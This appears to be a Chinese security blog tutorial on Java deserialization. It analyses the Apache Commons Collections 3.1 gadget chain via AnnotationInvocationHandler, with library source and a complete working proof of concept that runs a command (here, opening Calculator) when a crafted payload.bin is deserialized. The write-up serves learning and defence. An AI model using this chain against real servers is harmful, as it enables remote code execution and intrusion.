Java反序列化漏洞的入门文章,目的是希望能较为详细的阐述记录一些涉及到的java安全基本概念。分析"2015年最被低估"但实际威力巨大的Apache Commons Collections
组件漏洞,研究POC具体的构造原理,加深对java反序列化漏洞的理解,不足之处慢慢补充。
IDEA + Maven:
调试代码阅读 + 环境依赖配置,在Pom.xml
设置commons-collections
的版本为3.1
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
JDK版本为老版本的JDK1.7:
➜ Test java -version
java version "1.7.0_15"
Java(TM) SE Runtime Environment (build 1.7.0_15-b03)
Java HotSpot(TM) 64-Bit Server VM (build 23.7-b01, mixed mode)
序列化(Serialization),将对象的状态信息转化为可以存储或者传输的形式的过程,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。一般将一个对象存储到一个储存媒介,例如档案或记忆体缓冲等;若网络传输过程,可以是字节或者XML等格式;
反序列化(unSerialization),将存储对象的字节或者XML格式等(存储媒介)还原成完全相等的对象,这个与序列化相反的过程又称为反序列化。
一个类的对象要想序列化成功,必须满足两个条件:
该类必须实现 java.io.Serializable
接口。
该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的(属性包含对不可序列化类的引用),则该属性必须注明是短暂的(使用transient关键字修饰)。
序列化、反序列化测试代码
Employee.java
import java.io.Serializable;
public class Employee implements Serializable {
public String name;
public String address;
public transient int SSN;
public int number;
public void mailCheck() {
System.out.println("Mailing a check to " + name + " " + address);
}
}
SerializeDemo.java
import java.io.*;
public class SerializeDemo {
public static void main(String[] args) {
Employee e = new Employee();
e.name = "Reyan Ali";
e.address = "Phokka Kuan, Ambehta Peer";
e.SSN = 11122333;
e.number = 101;
try {
FileOutputStream fileOut =
new FileOutputStream("employee.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in employee.ser");
} catch (IOException i) {
i.printStackTrace();
}
System.out.println("============================================");
try
{d
FileInputStream fileIn = new FileInputStream("employee.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
e = (Employee) in.readObject();
in.close();
fileIn.close();
}catch(IOException i)
{
i.printStackTrace();
return;
}catch(ClassNotFoundException c)
{
System.out.println("Employee class not found");
c.printStackTrace();
return;
}
System.out.println("Deserialized Employee...");
System.out.println("Name: " + e.name);
System.out.println("Address: " + e.address);
System.out.println("SSN: " + e.SSN);
System.out.println("Number: " + e.number);
}
}
创建Employee
类的实例e
,序列化存储到employee.ser
中。除了被transient
修饰从而被忽略的SSN
属性,其他的属性在反序列化后均正确还原,控制台输出结果如下:
Serialized data is saved in employee.ser
============================================
Deserialized Employee...
Name: Reyan Ali
Address: Phokka Kuan, Ambehta Peer
SSN: 0
Number: 101
通过重写Employee
类的writeObject
方法,可以重新定义对象序列化时的操作,内部可以调用defaultWriteObject()
来执行默认的writeObject
。
通过重写Employee
类的readObject
方法,可以重新定义对象反序列化时的操作,内部可以调用defaultReadObject()
来执行默认的readObject
。
比如在反序列化时,通过Runtime.getRuntime().exec
打开计算器:
import java.io.Serializable;
public class Employee implements Serializable {
public String name;
public String address;
public transient int SSN;
public int number;
public void mailCheck() {
System.out.println("Mailing a check to " + name + " " + address);
}
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException, ClassNotFoundException{
s.defaultWriteObject();
}
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException{
s.defaultReadObject();
//Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "ls >> output.txt"});
Runtime.getRuntime().exec("/System/Applications/Calculator.app");
}
}
反射 (Reflection) 是 Java 的特征之一,可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。
程序中一般的对象的类型都是在编译期就确定下来的,而 Java 反射机制可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。所以可以通过反射机制直接创建对象,即使这个对象的类型在编译期是未知的。
Java 反射主要提供以下功能:
在运行时,判断任意一个对象所属的类;
在运行时,构造任意一个类的对象;
在运行时,判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);
在运行时,调用任意一个对象的方法;
obj.getClass()
,通过对象实例的getClass()
方法获取。
TestClass.class
,通过TestClass
类的class
属性获取。
Class.forName
,静态方法,同样可以用来加载类。
一般情况通过关键字instanceof
判断对象是否为某个类的实例,在反射中可以通过实例对象的class
属性的isInstance()
方法进行判断
Obj.class.isInstance(Object)
无参构造
Class clazz = Class.forName("java.lang.String");
Object instance = c.newInstance();
有参构造
Class clazz = Class.forName("java.lang.String");
Constructor cla = clazz.getDeclaredConstructor(String.class);//获取构造函数的构造器
Object obj = cla.newInstance("a");//调用构造器生成对象
System.out.println(obj);
/*
********* getConstructor()和getDeclaredConstructor()区别:*********
getDeclaredConstructor(Class<?>... parameterTypes)
这个方法会返回制定参数类型的所有构造器,包括public的和非public的,当然也包括private的。
getDeclaredConstructors()的返回结果就没有参数类型的过滤了。
再来看getConstructor(Class<?>... parameterTypes)
这个方法返回的是上面那个方法返回结果的子集,只返回制定参数类型访问权限是public的构造器。
getConstructors()的返回结果同样也没有参数类型的过滤。
*/
获取某个Class对象的方法集合,主要有以下几个方法:
getDeclaredMethods
方法返回类或接口声明的所有方法,包括公共、保护、默认(包)访问和私有方法,但不包括继承的方法。
public Method[] getDeclaredMethods() throws SecurityException
getMethods
方法返回某个类的所有公用(public)方法,包括其继承类的公用方法。
public Method[] getMethods() throws SecurityException
getMethod
方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class的对象。
public Method getMethod(String name, Class<?>... parameterTypes)
invoke 的作用是执行方法
public Object invoke(Object obj, Object... args)
throws IllegalAccessException, IllegalArgumentException,
InvocationTargetException
第一个参数需要注意:
如果这个方法是一个普通方法,那么第一个参数是实例对象。
如果这个方法是一个静态方法,那么第一个参数是类。
Demo中反序列化时重写了readObject()
方法,并且包含危险操作打开计算器。实际情况中则一般没有这么弱智的代码,需要我们自己通过反射构造Runtime.getRuntime().exec("AAAAA");
,完成命令执行。
获取Runtime
类
Class clazz = Class.forName("java.lang.Runtime");
获取Runtime.getRuntime
方法
Method getRuntimeMethod = clazz.getMethod("getRuntime");
调用Runtime.getRuntime
方法获取Runtime
实例
Object runtime = getRuntimeMethod.invoke(clazz);
获取Runtime
的exec
方法
Method execMethod = clazz.getMethod("exec", String.class);
调用exec
方法
execMethod.invoke(runtime, "/System/Applications/Calculator.app");
Runtime
类就是单例模式,需要通过Runtime.getRuntime()
来获取到Runtime
单例对象
public class Runtime {
private static Runtime currentRuntime = new Runtime();
/**
* Returns the runtime object associated with the current Java application.
* Most of the methods of class <code>Runtime</code> are instance
* methods and must be invoked with respect to the current runtime object.
*
* @return the <code>Runtime</code> object associated with the current
* Java application.
*/
public static Runtime getRuntime() {
return currentRuntime;
}
/** Don't let anyone else instantiate this class */
private Runtime() {}
//..............
//..............
//..............
}
实际环境中Commons Collections
+ AnnotationInvocationHandler
组件非常经典,首先看Commons Collections
单独测试代码,涉及到的类将会逐个剖析。
单独POC代码:
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
Transformer chain = new ChainedTransformer(trans);
Map normalMap = new HashMap();
normalMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, chain);
Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");
org/apache/commons/collections/Transformer.java
public interface Transformer {
public Object transform(Object input);
}
使用匿名类Transformer
创建数组数组,包含4
个对象,分别为ConstantTransformer
、InvokerTransformer
类的实例(均实现Serializable接口),还需要注意每个类的transform
方法。
org/apache/commons/collections/functors/ConstantTransformer.java
public class ConstantTransformer implements Transformer, Serializable {
/** Serial version UID */
static final long serialVersionUID = 6374440726369055124L;
/** Returns null each time */
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
/** The closures to call in turn */
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
public Object getConstant() {
return iConstant;
}
}
ConstantTransformer
类的transform
方法直接返回iConstant
对象
org/apache/commons/collections/functors/InvokerTransformer.java
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
public class InvokerTransformer implements Transformer, Serializable {
/** The serial version */
static final long serialVersionUID = -8653385846894047688L;
/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
InvokerTransformer
类的transform
中,若InvokerTransformer
类的构造函数iMethodName
和iParamTypes
参数以及传入transform
函数的input
可控,则可以利用反射对任意类的方法进行调用并返回。
对POC的Transformer
数组进行跟踪分析
第一个InvokerTransformer
对象的属性如下:
第二个InvokerTransformer
对象的属性如下:
第三个InvokerTransformer
对象的属性如下:
org/apache/commons/collections/functors/ChainedTransformer.java
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;
public class ChainedTransformer implements Transformer, Serializable {
/** Serial version UID */
static final long serialVersionUID = 3514945074733160196L;
/** The transformers to call in turn */
private final Transformer[] iTransformers;
public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
}
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}
public static Transformer getInstance(Collection transformers) {
if (transformers == null) {
throw new IllegalArgumentException("Transformer collection must not be null");
}
if (transformers.size() == 0) {
return NOPTransformer.INSTANCE;
}
// convert to array like this to guarantee iterator() ordering
Transformer[] cmds = new Transformer[transformers.size()];
int i = 0;
for (Iterator it = transformers.iterator(); it.hasNext();) {
cmds[i++] = (Transformer) it.next();
}
FunctorUtils.validate(cmds);
return new ChainedTransformer(cmds);
}
public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
if (transformer1 == null || transformer2 == null) {
throw new IllegalArgumentException("Transformers must not be null");
}
Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
return new ChainedTransformer(transformers);
}
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
public Transformer[] getTransformers() {
return iTransformers;
}
}
ChainedTransformer
的transform
方法会遍历每个元素,并将结果作为下一个元素transform
方法的构造参数传入。
Transformer
数组作为构造参数传入ChainedTransformer
并实例化对象chain
,展开如下:
创建HashMap
对象normalMap
并put
内容,然后将HashMap
对象和chain
作为构造参数传入TransformedMap.decorate
(通过该函数调用构造函数)
Map normalMap = new HashMap();
normalMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, chain);
此时的变量内容如下:
org/apache/commons/collections/map/TransformedMap.java
package org.apache.commons.collections.map;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;
import org.apache.commons.collections.Transformer;
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
/** Serialization version */
private static final long serialVersionUID = 7023152376788900464L;
/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
protected Map transformMap(Map map) {
Map result = new LinkedMap(map.size());
for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
Map.Entry entry = (Map.Entry) it.next();
result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
}
return result;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
protected boolean isSetValueChecking() {
return (valueTransformer != null);
}
//-----------------------------------------------------------------------
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}
}
Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");
其实这一段是参照AnnotationInvocationHandler
组件的readObject
函数模拟触发的执行流程,相当于Runtime.getRuntime().exec("XXXX")
。
完全通过AnnotationInvocationHandler进行跟踪分析,此时修改POC如下:
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
Transformer chain = new ChainedTransformer(trans);
Map normalMap = new HashMap();
normalMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, chain);
//前面部分相同,此处开始使用AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, transformedMap);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}
}
前面部分相同,通过反射加载sun.reflect.annotation.AnnotationInvocationHandler
类,设置构造函数的构造器参数为MAP
,并且通过setAccessible
取消修饰符限制,然后将transformedMap
作为参数传入并创建实例instance
。
/Library/Java/JavaVirtualMachines/jdk1.7.0_15.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class
package sun.reflect.annotation;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.annotation.Annotation;
import java.lang.annotation.IncompleteAnnotationException;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.util.Arrays;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
private Object cloneArray(Object var1) {
Class var2 = var1.getClass();
if (var2 == byte[].class) {
byte[] var6 = (byte[])((byte[])var1);
return var6.clone();
} else if (var2 == char[].class) {
char[] var5 = (char[])((char[])var1);
return var5.clone();
} else if (var2 == double[].class) {
double[] var4 = (double[])((double[])var1);
return var4.clone();
} else if (var2 == float[].class) {
float[] var11 = (float[])((float[])var1);
return var11.clone();
} else if (var2 == int[].class) {
int[] var10 = (int[])((int[])var1);
return var10.clone();
} else if (var2 == long[].class) {
long[] var9 = (long[])((long[])var1);
return var9.clone();
} else if (var2 == short[].class) {
short[] var8 = (short[])((short[])var1);
return var8.clone();
} else if (var2 == boolean[].class) {
boolean[] var7 = (boolean[])((boolean[])var1);
return var7.clone();
} else {
Object[] var3 = (Object[])((Object[])var1);
return var3.clone();
}
}
private String toStringImpl() {
StringBuffer var1 = new StringBuffer(128);
var1.append('@');
var1.append(this.type.getName());
var1.append('(');
boolean var2 = true;
Iterator var3 = this.memberValues.entrySet().iterator();
while(var3.hasNext()) {
Entry var4 = (Entry)var3.next();
if (var2) {
var2 = false;
} else {
var1.append(", ");
}
var1.append((String)var4.getKey());
var1.append('=');
var1.append(memberValueToString(var4.getValue()));
}
var1.append(')');
return var1.toString();
}
private static String memberValueToString(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.toString();
} else if (var1 == byte[].class) {
return Arrays.toString((byte[])((byte[])var0));
} else if (var1 == char[].class) {
return Arrays.toString((char[])((char[])var0));
} else if (var1 == double[].class) {
return Arrays.toString((double[])((double[])var0));
} else if (var1 == float[].class) {
return Arrays.toString((float[])((float[])var0));
} else if (var1 == int[].class) {
return Arrays.toString((int[])((int[])var0));
} else if (var1 == long[].class) {
return Arrays.toString((long[])((long[])var0));
} else if (var1 == short[].class) {
return Arrays.toString((short[])((short[])var0));
} else {
return var1 == boolean[].class ? Arrays.toString((boolean[])((boolean[])var0)) : Arrays.toString((Object[])((Object[])var0));
}
}
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
private AnnotationInvocationHandler asOneOfUs(Object var1) {
if (Proxy.isProxyClass(var1.getClass())) {
InvocationHandler var2 = Proxy.getInvocationHandler(var1);
if (var2 instanceof AnnotationInvocationHandler) {
return (AnnotationInvocationHandler)var2;
}
}
return null;
}
private static boolean memberValueEquals(Object var0, Object var1) {
Class var2 = var0.getClass();
if (!var2.isArray()) {
return var0.equals(var1);
} else if (var0 instanceof Object[] && var1 instanceof Object[]) {
return Arrays.equals((Object[])((Object[])var0), (Object[])((Object[])var1));
} else if (var1.getClass() != var2) {
return false;
} else if (var2 == byte[].class) {
return Arrays.equals((byte[])((byte[])var0), (byte[])((byte[])var1));
} else if (var2 == char[].class) {
return Arrays.equals((char[])((char[])var0), (char[])((char[])var1));
} else if (var2 == double[].class) {
return Arrays.equals((double[])((double[])var0), (double[])((double[])var1));
} else if (var2 == float[].class) {
return Arrays.equals((float[])((float[])var0), (float[])((float[])var1));
} else if (var2 == int[].class) {
return Arrays.equals((int[])((int[])var0), (int[])((int[])var1));
} else if (var2 == long[].class) {
return Arrays.equals((long[])((long[])var0), (long[])((long[])var1));
} else if (var2 == short[].class) {
return Arrays.equals((short[])((short[])var0), (short[])((short[])var1));
} else {
assert var2 == boolean[].class;
return Arrays.equals((boolean[])((boolean[])var0), (boolean[])((boolean[])var1));
}
}
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
} else if (var1 == byte[].class) {
return Arrays.hashCode((byte[])((byte[])var0));
} else if (var1 == char[].class) {
return Arrays.hashCode((char[])((char[])var0));
} else if (var1 == double[].class) {
return Arrays.hashCode((double[])((double[])var0));
} else if (var1 == float[].class) {
return Arrays.hashCode((float[])((float[])var0));
} else if (var1 == int[].class) {
return Arrays.hashCode((int[])((int[])var0));
} else if (var1 == long[].class) {
return Arrays.hashCode((long[])((long[])var0));
} else if (var1 == short[].class) {
return Arrays.hashCode((short[])((short[])var0));
} else {
return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
AnnotationInvocationHandler
的构造参数中,将两个参数存入了自身的两个属性中:
然后将对象序列化存储,接着反序列化触发readObject
函数,其实上面的代码就是模拟这里的。
此时关键变量数据如下:
分析代码
Iterator var4 = this.memberValues.entrySet().iterator();
entrySet().iterator()
链式调用会返回类型为AbstractInputCheckedMapDecorator
的对象,并且将包含精心构造恶意代码的TransformedMap
对象放进parent
属性中。
具体代码如下:
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java
package org.apache.commons.collections.map;
import java.lang.reflect.Array;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import org.apache.commons.collections.iterators.AbstractIteratorDecorator;
import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
import org.apache.commons.collections.set.AbstractSetDecorator;
abstract class AbstractInputCheckedMapDecorator
extends AbstractMapDecorator {
/**
* Constructor only used in deserialization, do not use otherwise.
*/
protected AbstractInputCheckedMapDecorator() {
super();
}
protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}
protected abstract Object checkSetValue(Object value);
protected boolean isSetValueChecking() {
return true;
}
//-----------------------------------------------------------------------
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
//-----------------------------------------------------------------------
/**
* Implementation of an entry set that checks additions via setValue.
*/
static class EntrySet extends AbstractSetDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
}
public Object[] toArray() {
Object[] array = collection.toArray();
for (int i = 0; i < array.length; i++) {
array[i] = new MapEntry((Map.Entry) array[i], parent);
}
return array;
}
public Object[] toArray(Object array[]) {
Object[] result = array;
if (array.length > 0) {
// we must create a new array to handle multi-threaded situations
// where another thread could access data before we decorate it
result = (Object[]) Array.newInstance(array.getClass().getComponentType(), 0);
}
result = collection.toArray(result);
for (int i = 0; i < result.length; i++) {
result[i] = new MapEntry((Map.Entry) result[i], parent);
}
// check to see if result should be returned straight
if (result.length > array.length) {
return result;
}
// copy back into input array to fulfil the method contract
System.arraycopy(result, 0, array, 0, result.length);
if (array.length > result.length) {
array[result.length] = null;
}
return array;
}
}
/**
* Implementation of an entry set iterator that checks additions via setValue.
*/
static class EntrySetIterator extends AbstractIteratorDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
}
/**
* Implementation of a map entry that checks additions via setValue.
*/
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
}
然后调用AbstractInputCheckedMapDecorator
的setValue
方法:
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
调用checkSetValue
方法:
这里已经调用了ChainedTransformer
的transform
方法,遍历调用每个元素的transform
方法,并将结果作为下一个元素transform
方法的构造参数传入:
第一个元素:
第二个元素:
第三个元素:
第四个元素:
通过这遍历循环完成RCE。
https://blog.csdn.net/chimomo/article/details/99304762
https://blog.csdn.net/CSDN_LQR/article/details/51464338
https://www.sczyh30.com/posts/Java/java-reflection-1/
https://blog.csdn.net/qq_35146878/article/details/78503997
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/137940.html